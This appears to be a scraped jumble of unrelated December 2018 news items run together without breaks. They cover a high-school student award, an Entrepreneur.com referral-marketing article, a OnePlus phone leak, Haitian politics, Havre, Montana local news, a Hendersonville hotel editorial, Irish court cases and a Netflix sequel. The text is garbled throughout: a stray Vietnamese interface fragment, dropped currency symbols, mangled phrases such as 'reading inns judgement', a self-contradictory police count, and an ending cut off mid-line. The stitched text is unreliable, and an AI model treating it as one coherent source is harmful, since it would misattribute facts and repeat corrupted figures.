Timmy Golightly for their performance of "Suddenly Seymour" from Little Shop of Horrors, and Emmalee Skinner and Kamryn Ferrell for their performance of "We Make a Beautiful Pair" from Shenandoah. Jordan Ferrell and Emmalee Skinner for their performances in the Devised Theatre/One-Act Play production of "The 7th Grade Viking." Green River High School is proud to announce that Sydney Ferrer is the recipient of the Jostens Renaissance National Student of the Month Award for November 2018. This recognition is for a deserving student who has made an impact within their school or community through Jostens Renaissance. Jostens Renaissance is a program that focuses on recognizing students and staff. The core of the program revolves around the five Rs: respect, reward, recognize, and reinforce = results. Ferrer was nominated by GRHS theater director Bradlee Skinner. Sydney wanted to address two areas of needs in our community and has taken it upon herself to create an action to help. Many students, elementary school through high school, can benefit from improved literacy and reading inns judgement free zone, Skinner said. In addition, our local animal shelter often faces over crowding and have many wonderful animals in need of finding a furever home. Ferrer is the chairperson for the Shelter Buddies Reading Program, which allows students to read to the animals. Students benefit from reading aloud in a safe environment without the pressure of reading in front of a teacher or peers. Ferrer then posts photos and videos of the animals being read to on social-media platforms. The interaction with the students makes the animals more comfortable and increases their potential of being adopted. Sydneys vision is to start with the high school, then the middle school and eventually to turn the program over completely to the elementary schools where teachers can identify the students who will benefit the most from participating in the Shelter Buddies Reading Program, Skinner said. Since she has started the program, animal adoptions have increased. Sydney is amazing student leader who demonstrates that leaders do not wait for opportunities to lead to come; she creates the opportunity, Skinner said. Ferrer was selected based on her exceptional dedication and commitment to the values of GRHS and Jostens Renaissance. Sydney will be showcased on the Jostens Renaissance website (https://www.jostensrenaissance.com/sydneyferrer/) and receive several items of recognition. About Jostens Renaissance For 27 years, Jostens has partnered with educators to renew school climate and culture through the Jostens Renaissance program and philosophy. Thousands of schools across North America are proud to call themselves Jostens Renaissance schools, sharing a sense of pride that is reflected in the results seen in improved academic performance, behavior, student engagement, and overall school spirit. In secret, behind locked gates, our Nation's Oldest City dumped a landfill in a lake (Old City Reservoir), while emitting sewage in our rivers and salt marsh. Organized citizens exposed and defeated pollution, racism and cronyism. We elected a new Mayor. We're transforming our City -- advanced citizenship. Ask questions. Make disclosures. Demand answers. Be involved. Expect democracy. Report and expose corruption. Smile! Help enact a St. Augustine National Park and Seashore. We shall overcome! Xem them ... Tin bai cuoi cung Khong con du lieu e load One of the most trending conversations between people in the United States are brand-related conversations. There are so many of us with such great ideas and were all trying to figure out how to create a brand that sells. In my book Success Equations: A Path to Living an Emotionally Wealthy Life, I teach that great businesses are all built upon trusted and successful relationships. These relationships are essential to getting the referrals we need to build the thriving and successful brand we dream of. What we have to keep in mind is people arent shy when it comes to talking about their experiences, both positive and negative, with companies. A study from HubSpot quotes that 92 percent of people rely on the opinions of family and friends when making purchasing, banking and decisions that will attract potential customers through our sales and marketing efforts. To follow are some easy ways to generate referrals without having to go through the grind and rejection of cold-calling. 1. Capitalize on word-of-mouth. Brands need to rely on the undeniable power of word-of-mouth and turn to customer referral techniques as a means of increasing both customer sharing and connections with the higher quality prospective customers were looking for. These referrals will undoubtedly trust a person they already know more than they will ever trust our advertising. To avoid cold-calling we need to get out there and make real connections. Word-of-mouth is the greatest compliment any company can receive because it is always based on direct customer experience and satisfaction. Related: Richard Branson Says the 9-5 Workday Grind Is About to Die. Here's Why. 2. Touch points. Stacy Brown Randall in her book Generating Business Referrals Without Asking, drives the above point home in that referrals start with relationships. Her philosophy teaches us that referrals first begin with relationships, that relationships come from connections and that connections are built through on-going touch points. Randall defines touch points as the outreach we do to make a connection. Touch points include checking in and keeping in touch, but Randall goes further, turning those touch points into deeper and more significant relationship topics of connection. Randall quotes In business trust is the real currency, and relationships are the economic driver. She encourages us to get out of the old cold-call model of asking for referrals and to move towards deeper and more meaningful connection points that bond our customers to our mission. Touch points are emotional connection points. 3. Offer what people want. For any brand to take off, we have to be offering a service or product that is practical, useful and something consumers see a real need for. Whatever our brand is, we want to make sure were not adding stress or complication to people and their existing business model. Our goal should always be to offer a product or service that makes life easier and less complicated for our consumers. As were branding we have to consider others, not just our great idea. When a brand, service or product are created for the consumer, the consumer will naturally want to tell everyone they know about our product or service. Great ideas that create too many complications, challenges or change-consequences for the consumer, we will not receive the type of referrals we want. In fact, unsatisfied and frustrated customers will refer people away from our brand. Related: 4 Tips for How Entrepreneurs Can Unplug and Recharge During the Holidays 4. Use the negative for positive. It takes time to build a thriving brand. It takes marketing, advertising and a tremendous investment in what service or product were putting into the world. Keep in mind that Rome wasnt built in a day. We will experience failure or challenge along our journey. We must be patient and use consumer complaints as clear direction on how to grow and improve our product, brand or service. We must refrain from taking bad reviews or negative feedback personally. We must use this information for our own learning and education. Maybe the product or service we offer will need to shift and shape-change to become the product the consumer is looking for to make it into an undeniable success. We must learn not to take things personally; we must learn to take feedback and use it productively. 5. Maximize social media. A great way to capitalize on creating new connections and reaching the customer base we desire is to put our service, brand or product into the world of social media. We must educate ourselves hash-tagging and other ways to leverage our social media connections. Its important to take great pictures of our service or product being used, and to come up with slogans that will inspire the consumer to be curious about our brand, enough to want to investigate what were offering. Social media is a great way to build new connections. It is also a great avenue to showcase that our brand offers something unique and practical that will only serve to enhance the lives of our consumers. 6. Follow through. One of the biggest mistakes we make in business is starting relationships, or starting a social media campaign, getting frustrated in the middle of the process and not following through. The more follow through we have, the more successful our brand will be. We cannot stop in the middle of any process and just hope for success. Every aspect of getting our brand into the world will require our time and attention to get noticed. The relationships we develop turn into the connections we need to drive our business to the next level, so we must strive to be a person and a brand others want to be involved with. We must be accountable and reliable. We must do what we say were going to do and deliver the results we promise to our consumers. Related: To Get Your Team Brainstorming Great Ideas, Start With Crazy 7. Be Authentic. Who we are is almost a more impactful and important piece to building our brand than the product or service were promoting. At its core, authenticity is about practicing what we preach, being totally clear about who we are and what we do best. When a brands message gets out of sync with the actual experience customers are having, our brands integrity and future persuasiveness will undoubtedly suffer. Potential customers are drawn toward brands with an original story, that have an engaging and powerful identity and an unwavering and visible commitment to deliver on what their brand promises. For this reason, authenticity speaks volumes. Brands that tell a genuine, honest story resonate with consumers. Consumers want to onboard with honest brands started by honest people. It is this belief that leads our consumers to the willingness to communicate with others about our brand and refer it to others. Related: 7 Ways to Generate Referrals Without Cold-Calling 4 Rules of Engagement That Wildly Increase Your Odds of Closing the Deal 12 Ways Your Sales Process Is Alienating People Copyright 2018 Entrepreneur.com Inc., All rights reserved If you were wondering what OnePlus' 5G phone or the OnePlus 7 are going to look like, we may now have the answer. The image you can see below has been leaked today, and it's a shot from an internal company meeting, with OnePlus CEO Pete Lau attending. The employee who took the picture surely risks being fired for this. Anyway, as you can see, the design of the back is a pretty big departure from OnePlus' recent phones, with a huge circular camera island. The device on the slide is red, as is a prototype just laying on the desk, but there's also a white model in development - don't miss the right part of the shot. It's unclear which handset this is, but given the fact that the 5G phone is coming sooner than the OnePlus 7 we'd venture a guess and say it's more likely to be that model. This will launch in early 2019 and don't be surprised to see it offered by T-Mobile at some point - in light of the carrier's recent partnership with OnePlus for selling the 6T. An additional factor lending credence to that hypothesis is that OnePlus still hasn't figured out how to do mmWave 5G in a phone (because of how many antennas are needed), so it's going to start off by going with the so-called "sub-6GHz band" 5G, which will be used in the US by, you guessed it, the magenta carrier. And also Sprint, but the two are in the process of merging. In the meantime, the first carrier to get the OnePlus 5G will be EE in the UK (and yes, it's also using sub-6GHz). The phone is expected to be $100 to $200 more expensive than the 6T because of all the additional bits and pieces required for 5G. It will be powered by the Snapdragon 855 chipset paired with the X50 modem. The 855 should also feature in the OnePlus 7, but with the 4G X24 modem instead. Source Xiaomi just confirmed that it's discontinuing the software support for two of its iconic devices - the 2016 flagship, Mi 5 and the affordable Redmi Note 3 phablet from the same year. The upcoming stable release of the MIUI Global ROM will be the last one for those two handsets. The Beta Team for both phones will be disbanded after the final OTA update arrives. That's quite unfortunate and many fans in the official MIUI forum are displeased with the news, but there's another side of the coin here. First, Xiaomi is releasing a plethora of devices each year and the software support for all of them is not only costly, but time-consuming as well. Secondly, the two phones are nearly three years old and that's pretty much you could get from a smartphone manufacturer these days. So we can at least give credit to Xiaomi for continuing the support for more than two years after the initial release of the Mi 5 and Redmi Note 3. Now, the community should take it from here. There are probably plenty of ROMs based on the latest Android versions so if you are keen on holding onto your aging device that might be your best bet. Source 1 | Source 2 (in Chinese) Haiti - Croix-des-Bouquets : 6 mini police stations to strengthen security Rony Colin, the Mayor of Croix-des-Bouquets, accompanied by his assistants Mrs. Geraldine Cetoute and Jean Jonas Saint-Juste, proceeded, December 18 in Bon Repos, to the handing over of the keys of 6 mini-police stations, brand new, to police authorities. These mini-stations, which were built thanks to the technical and financial support of the Unit for Construction of Housing and Public Buildings (UCLBP) and the International Organization for Migration (IOM), have been set up at strategic locations (at Bon Repos between to the intersection of the national roads #1 and 3, Canaan 1, Canaan 3, St. Christophe, Jerusalem and ONA-ville) from a security plan developed jointly by the members of the Communal Council and the police authorities The UCLBP and IOM officials took the opportunity to donate 12 motorcycles to the municipal authorities for the benefit of the police, who will be assigned to these mini-stations. The ceremony of official possession of these mini-stations by the police authorities of Croix-des Bouquets and the delivery of the motorcycles, took place in the presence of Mr. Jacky C. Pierre, the Chief of Cabinet of Mayor Colin, the Commissioner Principal of Croix-des-Bouquets, Ronald Pierre, representatives of UCLBP, engineer Jacques Bien Aime and Arnaud Viximar and Maria Oliveira Ramos, Head of IOM Urban Development and Engineering Unit in Haiti . HL/ S/ HaitiLibre Haiti - Economy : 5 billion for the budget of Parliament (2018-2019) In the draft budget law 2018-2019 tabled on December 11 in both Houses of Parliament by the Minister of Economy and Finance Ronald Decembre, 11 December last https://www.haitilibre.com/en/news-26376-haiti-flash-tabling-of-the-draft-budget-law-2018-2019-of-1728-billion.html one learned that the Parliament is endowed with a budget envelope of more than 5 billion gourdes. $2.26 billion is allocated to the Senate (including salaries and benefits for senators, salaries for 965 internal service employees, investment budget and operating grants). 3.54 billion is allocated to the Chamber of Deputies (including salaries and benefits of deputies, salaries of 1.701 internal service employees and operations grants). Download the Finance Bill 2018-2019 (PDF) : https://www.haitilibre.com/docs/Projet_de_loi_de_finances_2018-2019_Version_Decembre_2018_signe.pdf A substantial amount while according to the Citizen Observatory for the Institutionalization of Democracy (OCID), for the week of December 10 to 14, 2018 and after 3 months of dysfunction, the Senate was able to hold its 3rd plenary meeting, December 11 with the minimum quorum (16 senators) During this session, the bill deals with the lease for professional use, already voted in the Chamber of Deputies, was the subject of debates that resulted in the adjournment of the project until an invitation made to the Minister of Commerce to come and defend his bill. The other agenda item was the continuation of the vote on the bill on the commercialization, detention, control, port and use of firearms in the country. Only article 15 could be voted, the quorum being reversed during the discussions in article 16, the president lifted the meeting and put it again in continuation. Recall that the same day, Ronald Decembre, has table to the two branches of the Haitian Parliament the Finance Bill for fiscal year 2018-2019 valued at 172.8 billion gourdes. See also : https://www.haitilibre.com/en/news-26376-haiti-flash-tabling-of-the-draft-budget-law-2018-2019-of-1728-billion.html https://www.haitilibre.com/en/news-26308-haiti-flash-the-next-budget-up-26-billion.html https://www.haitilibre.com/en/news-26097-haiti-economy-a-budget-with-social-dominination-up-of-11-billion.html https://www.haitilibre.com/en/news-26037-haiti-economy-the-budget-deficit-2017-2018-a-sinkhole-close-to-26-billion.html SL/ HaitiLibre Haiti - News : Zapping... President Moise reiterates his call for unity President Moise reiterates his call for unity after the call for dialogue launched by Prime Minister Ceant at the end of November https://www.haitilibre.com/en/news-26220-haiti-message-the-pm-calls-to-the-union-and-promises-jobs.html The Head of State wants an inclusive dialogue that takes into account all socio-economic parameters to resolve the crisis, saying "We can not build the country that we dream if we do not find the necessary compromises." See also : https://www.haitilibre.com/en/news-26369-haiti-politic-president-moise-pleads-for-peace-and-unity.html https://www.haitilibre.com/en/news-26368-haiti-flash-governability-pact-proposed-by-the-government.html Trade meeting with RD On Tuesday, the Subcommittee Trade and Investment held a working session at the premises of the Technical Secretariat of the Bilateral Joint Commission (CMB) Haiti-Dominican Republic, attended by representatives of the Chamber of Commerce and Industry of Haiti (CCIH), the Investment Facilitation Center (CFI-HAITI), the General Administration of Customs, the Coordination and Follow-up Office of the CARICOM Agreements, of the World Trade Office (WTO) and the Free Trade Area of the Americas FTAA and the Ministry of Trade and Industry. The exchanges focused on the reality of trade between Haiti and the Dominican Republic and prospects for the year 2019. Complaints about community restaurants Following several complaints, the Ministry of Social Affairs dispatched delegates throughout the country to check the quality of services provided by community restaurants. See also : https://www.haitilibre.com/en/news-26448-haiti-news-zapping.html The PNH increasingly lonely Since December 18, the number of international police contingents in Minujusth, supporting operations of the National Police of Haiti (PNH) has increased from 7 to 5, a first step in its strategy of disengagement. See also : https://www.haitilibre.com/en/news-26293-haiti-security-two-contingents-of-international-police-officers-will-leave-haiti.html Christmas Market of the Hotel School Friday, the Hotel School of Haiti (EHH) will open this Friday December 21 a Christmas market in Port-au-Prince to expose the work done by its students and allow the public to buy local products in the prospect of raising funds for the financing of certain projects. Traditional greetings exchange at the Palace On Wednesday at the National Palace, President Jovenel Moise, accompanied by his wife Martine and Prime Minister Jean Henry Ceant, received the members of the Diplomatic Corps for the traditional exchange of Christmas greetings and end of year. HL/ HaitiLibre A fundraising account has been set up to help the Kremlin family whose house burned early Tuesday morning. The Muller family escaped the fire shortly before 2 a.m. Fire trucks from Kremlin, Havre and Gildford responded to fight the fire, but the home was a total loss. People who want to help the family can donate to the Muller Family Donation Account at Wells Fargo banks. A representative of Wells Fargo in Havre said people can donate at any Wells Fargo bank by using the account name. The Muller family could not be reached for contact by printing deadline this morning. A story on the front page of Tuesdays edition of The Havre Daily News about the Hill County Park Board Grazing Committees meeting Monday night misreported that a scale was currently owned by one of the ranchers at Beaver Creek Park. No one has a scale, but they are currently available for purchase. Also, Hill County Commissioner Mark Peterson did not say that reflectors along Montana Highway 234 scare away deer. Peterson did say that putting in a fence was an option, but did not say Montana Department of Transportation had research saying the reflectors were more effective. Shane Hansard finishes up with one of the trees along 5th Avenue Wednesday. Between the limbs lost in a storm in the branches that needed to be cut away by MDT, many of the trees have been left with almost nothing remaining. Wednesday morning, a crew from the Montana Department of Transportation began trimming branches on trees along Fifth Avenue in Havre. The project is a continuation of maintenance that began in the wake of the October 2017 snowstorm that maimed many of the trees in and around Havre. "We did a lot of work after that big storm," MDT crew leader Ted Azure said. "We got all of the dead (branches) off." Azure said the crew has returned more than a year after the storm to cut back the trees even further because many of the branches are hanging over the street and scraping trucks as they pass by. "You can see all the scratches on that one," Azure said, pointing at a semi truck heading south on Fifth Avenue. "And when we take our street cleaner down here we're hitting branches all the way." He also said overhanging branches pose a safety concern for cars. "All up and down Fifth Avenue, it looks beautiful in the summer with the greenery hanging overhead, but you don't know the strength of each branch," Azure said. "The biggest thing is to keep it safe." Havre Daily News/Ryan Berry Shane Hansard, of the Montana Department of Transportation, trims back a tree on 5th Avenue Wednesday, December 19, 2018 in Havre, Mont. Hansard operated the chainsaw while another crew member moved the hydraulic lift up and down so that he could reach more branches. MDT worker Shane Hansard manned the chainsaw, going up in a hydraulic bucket lift controlled by Azure and cutting back any branches that were reaching out past the curb, which means most trees have been trimmed all the way down to the trunk. Hoover Peterson and Joey Dionne, the other half of the four-man crew, were clearing the street of debris and loading tree limbs and debris into a dump truck. The equipment being used occupies a full lane of traffic, requiring drivers to pass in the center lane. The workers also have to stop traffic entirely when downing large limbs or maneuvering their front-end loader around the street. This has led to minor delays along Fifth Avenue during the crew's work hours, about 8 a.m. to 3 p.m., which can be expected until work is done. As for the health of the trees after such extreme trimming, Montana State University Agricultural Extension Agent Shylea Wingard cautioned that improper care could end up killing them. Wingard said ash trees, which are common in Havre, are hardy trees, but even they won't survive if pruned improperly. "There's an artform to pruning trees," she said. The maintenance project will cover Fifth Avenue from U.S. Highway 2 - First Street in Havre - to at least 10th Street, and Azure said he expects to finish work Friday. A man was sentenced in state District Court in Havre to five years probation and was ordered to forfeit $535 and a 2008 Saab SUV after he previously pleaded guilty to reduced drug charges in a plea agreement. Aaron Michael Bishop pleaded guilty Oct. 29 to felony charges of criminal possession of dangerous drugs, amended from a charge of criminal possession of dangerous drugs with intent to distribute, use or possession of property subject to forfeiture, and a misdemeanor count of driving under the influence of intoxicants, first offense. Under the plea agreement, charges of possession of drug paraphernalia and failing to provide proof of insurance were dismissed. District Judge Jon Oldenburg of Lewistown sentenced Bishop to five years, all suspended, and ordered him to forfeit the cash and vehicle. Bishop was charged after he was reported to have left a residence suspected to house a drug user and was pulled over on suspicion of driving with expired registration. Bishop refused to allow police to search the Saab SUV, and officers obtained a warrant. They found methamphetamine and a pipe as well as a cellphone and a large amount of cash. Press release BOZEMAN Representatives of the Montana FFA Foundation said the foundation is excited to host the sixth annual Torgersons Growing Our Leaders Development GOLD Conference in Bozeman following the new year. This will be the fifth year that this event has been sponsored by long-time Montana FFA supporter Torgersons, LLC. The GOLD Conference takes place Jan. 4-6 in Bozeman. The leadership development conference is designed for high school seniors and college freshmen who desire to continue their leadership after their time in the FFA jacket. Through a series of professional development workshops, interviews, personal growth reflections, career panels, and networking activities that are organized by current and past Montana state officers, FFA alumni and Torgersons, the participants of GOLD are taught skills that will guide them to become the next generation of Montana leaders. The goals of this conference include student self-discovery, self-awareness and confidence in the skills they possess, improving interviewing skills, understanding the service of an FFA state officer, creating lasting connections with other members, and realizing how to be a servant leader in agriculture beyond the FFA. Torgersons GOLD Conference helped me pinpoint my why and discover my strengths as a leader, Morgan Weidow, this years Montana FFA state president, said. The interview practice, workshops, and networking allowed me to practice skills I use daily that are essential to my career goals. Montana FFA members who are high school seniors or one year removed can apply online to attend the GOLD Conference until December 20 on the Montana FFA website at http://www.montanaffa.org/applications/. People who are interested in volunteering to help support the growth of FFA members at the GOLD Conference can contact the Montana FFA Foundation at 406-582-4118. The Montana FFA Foundation supports 97 FFA chapters across the state of Montana, representing more than 5,300 members. The Montana FFA Foundations mission is to cultivate partnerships, promote awareness and secure resources to enhance agricultural education and the Montana FFA Association. Maria Naranjo sits at a table with her husband, Raymond Miller, at the couple's brewery, Vizsla Brewing, Dec. 13 in Havre. Naranjo and Miller opened the brewery in the Holiday Village Mall in October. A dream has turned into reality for Vizsla Brewing owners Raymond Miller and his wife Maria Naranjo. The couple opened Vizsla Brewing in the Holiday Village Mall. The brewery is open seven-days-a-week in the Holiday Village Mall, 4 tp 8 p.m. Monday through Thursday and noon to 8 p.m. Friday through Sunday. The brewery is named after a Hungarian hunting dog. "It's a small little red non shedding dog called Vizsla," Miller said. "It is known as the cleanest dog in the dog world." Both Miller and Naranjo are dog lovers and have a couple of dogs themselves. Along with its beers, Vizsla Brewery also has food platter for customers so snack on. Naranjo said the goal of the appetizer platters is to pair with the beer. "So we have a couple of appetizer platters that go better with lighter beers and another platter that goes better with the darker, sweeter beers," she said. Miller said they have eight different beers on tap. He added that he started brewing in the beginning of October, from the minute they got their brewing license. Naranjo was raised in Los Angeles and worked in San Diego, Calfornia, for 20 years. Miller was raised in Texas and moved to San Diego, where he met Naranjo. In 2015 they moved to Havre. Miller became interested in brewing beer before they came to Montana, he said. He added that he later decided that brewing was what he wanted to do after he retired He added that he figured that if they did not open a brewery this year, there was a high possibility the chance would be gone. He said he first began brewing privately in 2014. Naranjo said Miller started brewing quite a bit after moving to Havre. Miller said he brews all the beer himself, with the occasional friend coming by to help if needed. Havre Daily News/Ryan Berry Raymond Miller talks about the brewhouse at Vizsla Brewing, Thursday, December 13, 2018 in Havre, Mont. Miller has lived in Havre with his wife, Maria Naranjo, since 2015. He said Vizsla gets its malt from Wisconsin, although he is working with a Montana malt producer. They are going to purchase some from that producer, Miller said, so they can do all-Montana brews. Miller said what is also nice about owning his own business is that he is able to have more of an impact on the community. "Somebody comes in and asks if you can help out with something you're actually in a position to help out," he said. He added that is why they get involved with different organizations around down, such as the Pints for Purpose, the volunteer fire department, the local 4-H and the Festival of Trees. "If you didn't have your own business, especially one as flexible as this, you would not be able to do anything as a private citizen you don't always have the money or have something that you can do to raise money," Miller said. "... The community loves it, helps us out." LIGHTNING EDITORIAL: Hotel proposals encouraging sign downtown The city could score a home run if one of two prospects for a downtown hotel comes to pass. At the City Councils behest, the city sent out a request for proposals on Oct. 11 asking interested developers to submit plans for a hotel with 80 to 120 rooms and conference space for 150 to 300 people. The city has offered to sell the city-owned Dogwood parking lot at Fourth Avenue West and Washington Street and re-invest the proceeds in a parking garage that would offset the loss of 157 surface lot spaces. The two developers that responded met the requirements the city set out. The Charlotte-based Catellus Group proposed a 120-room five-story hotel with a 247-space parking garage, a 4,500-square-foot conference space and a first-floor lounge and restaurant. Blue Star Hospitality of Fletcher pitched an 88-room, six-floor structure with double the conference space 9,000 square feet plus 9,000 square feet of ground-floor retail space and a parking garage with 244 spaces. Catellus, a smaller real estate developer, is currently in the planning or construction phases for a premiere boutique hotel in Charlottes trendy Dilworth neighborhood, an 85-room brand-name hotel in Shelby and an 81-room Comfort Suites hotel in Independence Township, Michigan. Blue Star, which has built 22 hotels since its founding in 1995, boasts that it has worked with Marriott International Inc., Hilton Worldwide, Wyndham Worldwide, Choice Hotels International Inc. and Best Western International Inc. Its a given in an attempted public-private partnership of this magnitude that thorny details will have to be worked out. Obviously, part of the parking would be ours, Mayor pro tem Ron Stephens said. We dont want to lose any parking spaces and I dont think wed have to. Im told that one of them has the space to accommodate 200 people (for meetings). We can use the hotel and we can certainly use the meeting space, which would be an important addition to downtown. I hope it goes forward. This looks very encouraging. City Councilman Steve Caraker, who renovated a historic home and started his city government experience as a member of the Historic Preservation Commission, said he preferred the brick facade Catellus showed in a rendering to the composite material of Blue Stars design. Caraker wants the council to retain some design authority so that a hotel in downtown Hendersonville would be compatible with downtowns historic character. Thats not only a reasonable but imperative. Among the councils duties is to preserve downtown as an attraction, the golden goose of our small-business retail and dining economy. The city also has the 65-foot building height cap to contend with, a result of the last attempted development of this magnitude downtown. We hope the historic preservationists realize that the nine-story Carolina Grand (nee Sunflower) was different proposition in size and location. A five-story building with a relatively compact footprint would not be out of scale on that block of Church Street. The Dogwood Inn (to take creative license) would represent much more than a place for visitors and overflow family to lodge overnight. It could bring small conventions to downtown and add to our ever-expanding dining choices, maybe with a second penthouse or rooftop restaurant (after the new Shine). The city team including City Manager John Connet, assistant manager Brian Pahle and downtown coordinator Lew Holloway has a tough job ahead in filling in the details, of course. Its a smart team and one that has been aggressive and creative in pushing for this and other improvements, including the Grey Hosiery Mill redevelopment and Seventh Avenue revitalization. With the support of the City Council, the city team should push ahead to try and consummate a hotel deal that works for the real estate developer and steps up the citys appeal and potential. Henderson County Four Seasons Politics McCall to seek re-election to Board of Commissioners seat Citing upcoming projects including sewer service to serve the apple country, completion of the 2045 comprehensive land-use plan and renovation of the now county-owned VFW post at Five Points as a veterans service center, County Commissioner Rebecca McCall announced that she will run for re-election to her District 4 seat next year. Read Story North Carolina Four Seasons Politics FILING OPENS MONDAY: Here's seats, salaries, filing fees Filing for local, state and federal offices opens at noon Monday and new names could appear up and down the ballot as current office holders try to move up. Read Story Henderson County News Local man, 26, charged with assault and meth possession Henderson County sheriffs deputies charged a 26-year-old Hendersonville man with assault and possession of methamphetamine and marijuana 10 days after they responded to a report of a person being assaulted at a residence on Thunder Bay Lane in Henderson County. Read Story Butterworth appointed to N.C. Charter Schools Board Jeanette Butterworth has been appointed to the N.C. Charter School Advisory Board by the North Caolina General Assembly, Sen. Chuck Edwards announced. House Bill 1111 which passed both chambers unanimously confirmed her appointment. Jeanette Butterworth is an excellent addition to the N.C. Charter School Advisory Board, said Edwards, who nominated Butterworth. Not only is she actively involved in the community and within a charter school, as a parent of students attending these schools, she is well versed in the daily life and culture of charter schools. Additionally, she has volunteered with the school in various positions and understands the needs associated with charter schools. It is important that our district is represented on state boards and commissions. I know Jeanette will work hard for our students and represent District 48 well. A senior consultant with WNC Nonprofit Pathways, Butterworth has over more than years of nonprofit experience including management, development, grant writing, board service and strategic consulting. She has served on the staff and boards of both large and small organizations, and for established as well as fledgling nonprofits. Jeannette has served on the Board of Directors for the Mountain Community School for four years. She has been a parent at the Mountain Community School for nine years, with two children enrolled in the school. Furthermore, she has served in various volunteer positions at the school and functioned as the development associate for a year and a half. The Charter Schools Advisory Board works to ensure the existence of high quality charter schools in North Carolina. Met Eireann's "alarmist" weather warnings deterred people from venturing out to do their Christmas shopping, it has been claimed. Retail Excellence Ireland yesterday released phase one of its 2018 Christmas Trading Statement, in which it said that retailers reported that weather alerts were "significantly damaging footfall". Met Eireann has strongly defended its position, stating that it issues warnings for public safety, and they are based "on the best scientific evidence available at the time". In its statement, Retail Excellence said following consultation with more than three hundred retailers, key findings for the period December 1 to 18 were: "No matter what colour alert, consumers stay indoors." Retail Excellence said that, in reality, "for the majority of the country last Saturday was a windy and rainy day" but a Met Eireann alert led to concern about venturing out. Retailers now believe it is all to play for as payday looms for many tomorrow. The group's figures show that overall Christmas retail sales should be on a par with last year. Retail Excellence group chief executive David Fitzsimons said: "Our team has spent the past two days gathering trading data from over three hundred retailers nationwide. "The most common comment from retailers is that the weather alert issued by Met Eireann pertaining to weather conditions last Saturday was at best alarmist. "Most of the country experienced rain and some wind and yet the alert more or less turned off the spending tap, on one of the most important days in the retail calendar. "Met Eireann needs to be cognisant of the devasting impact such alerts have on consumer activity." Safety However, Joan Blackburn of Met Eireann said: "We issue warnings for public safety and for nothing else, on the best scientific information available to us at the time." She stressed warnings are based on the scientific evidence available to Met Eireann, and they are continuously updated when required. "The weather last Saturday was very bad. There was very heavy rainfall and there was strong wind," she added. "There was a potential for some extreme winds, which clipped parts of the south coast." The High Court has ruled that 17,000 found in the apartment of a man described as a childhood friend of a Kinahan gang member is the proceeds of crime. The cash was seized by the Criminal Assets Bureau (CAB) in Jeremy Skerritt's apartment following a search of the property in April 2016. The CAB described Mr Skerritt as a low to mid-ranking member of the Kinahan gang and a childhood friend of one of the mob's leading members, Daniel Kinahan. Ms Justice Carmel Stewart ruled that the cash was the proceeds of crime and appointed a receiver over the money. Welfare Mr Skerritt (42) did not contest the CAB's application under Section 3 of the 1996 Proceeds of Crime Act and he was not in court for the hearing. He did not claim ownership of the money nor give any explanation where the cash had come from, the CAB said. The bureau argued that the money came from the sale and supply of controlled drugs and Mr Skerritt had no legitimate source of income other than social welfare payments. The court heard that the cash was discovered following a search of Mr Skerritt's apartment on North Circular Road, Dublin, on April 7, 2016. The search was conducted as part of Operation Thistle which the CAB said was a garda operation against members of the Kinahan organised crime gang. Gardai found the cash wrapped in tinfoil under a mattress in the centre of the living area in the apartment. The CAB said the money was packaged in three neatly wrapped bundles of 5,000 and one of 2,000. The method used to package and conceal the cash was consistent with drug dealing and money laundering, the CAB said. The court heard that Mr Skerritt had 22 previous convictions for offences including drugs and assault. He was jailed for 15 months in 2001 for his part in the assault of an off-duty garda and for drugs offences. The court also heard that gardai found a set of keys for an apartment in Lower Baggot Street, Dublin, following a search of Mr Skerritt's girlfriend's home in Oliver Bond House, Dublin, on April 7, 2016. When gardai searched the Lower Baggot Street apartment, they discovered a Dutch Moroccan man, Naoufal Fassi, who was extradited and jailed for 18 years in the Netherlands for his role in organised crime and attempted murder. Watches A quantity of cannabis, a false Belgian ID card, cash, mobile phones, high-end watches and documents linking the address to the Kinahan crime gang were also discovered in the apartment. The court also heard that Daniel Kinahan was a named party on Mr Skerritt's motorbike insurance policy. The policy came into effect days after David Byrne, who was also a member of the Kinahan crime gang, was shot dead in the Regency Hotel attack in 2016. Samantha Ring took the case to court on behalf of her sons Two Dublin children, who were sprayed with petrol and fumes at a faulty fuel pump six years ago, have been awarded more than 74,000 damages against Tesco Ireland Limited. Harvey Ring, now aged 11, and his brother, Zachary, now aged eight, were only four years and 21 months respectively, at the time of the incident. Yesterday, barrister Hugh B Byrne told the Circuit Civil Court they had been with their mother at the Tesco Filling Station, Clarehall, Malahide Road, Malahide, as she attempted to put petrol in the family car. Mr Byrne, who appeared with Kiera O'Reilly of Keans Solicitors, said that on March 27, 2012, Harvey had been splashed and sprayed with petrol from the faulty pump as he watched his mother, Samantha, pouring the fuel. The boys sued Tesco Ireland Limited through their mother, of Ridgewood Avenue, Forest Road, Swords, Co Dublin. Window Ms Ring told Circuit Court President Mr Justice Raymond Groarke in a sworn statement that Zachary, who had been asleep in the back of her car, had also been doused with petrol through an open window. The court heard that in 2014, Harvey had been offered a settlement of 10,000 and Zachary a figure of 8,500. However, Keans Solicitors, of Upper Pembroke Street, Dublin, the legal representatives for the Ring family, had successfully brought an application to the court seeking the rejection of those offers. Mr Byrne told Judge Groarke that Tesco Ireland, which has its registered office at Marine Road, Dun Laoghaire, Co Dublin, had now offered the two boys higher amounts. Harvey has been offered a settlement of 48,775 and Zachary 25,300, and Mr Byrne said he was asking the court to accept the proposed settlements. The court heard that the Tesco service station concerned had been aware for some time of a potential fault in the particular pump which Ms Ring had used. However, it had not been closed off to the public. In medical reports furnished to the court, it was stated that both children had suffered shock and subsequent anxiety symptoms following the accident and had attended a number of therapy treatments. Judge Groarke said he considered the settlements to be good ones and appropriate in the circumstances. He approved both payments to the boys. For Subscribers Gangs: a 'four-letter word' some in the community won't acknowledge Gangs remain a way of life in Washington County and some are trying to find ways to address it Metro Manila (CNN Philippines, December 20) It's officially official, Lara Jean Covey and Peter Kavinsky are set to bring back the "kilig" for the sequel of Netflix film "To All The Boys I've Loved Before." The video streaming site confirmed the news on Thursday with a video starring the film's breakout stars Lana Condor and Noah Centineo. They shared their little secret with their fans. "I am so excited! It is officially official! We are making the 'To All The Boys' sequel," Condor said. Centineo added, "Bring on the sequel!" The video announcement ended with Condor hinting that a possible love triangle will happen in the sequel, with Kavinsky and John Ambrose McClaren pinning over Lara Jean. The movie sequel will be based on the second installment of Jenny Han's bestselling book "P.S. I Love You." "To All The Boys I've Loved Before" premiered on Netflix in August, getting positive feedback and a 96% rating on Rotten Tomatoes, a review aggregation website. The film starts when Lara Jean's secret love letters are sent out to the five boys she's loved before. Chennai : In 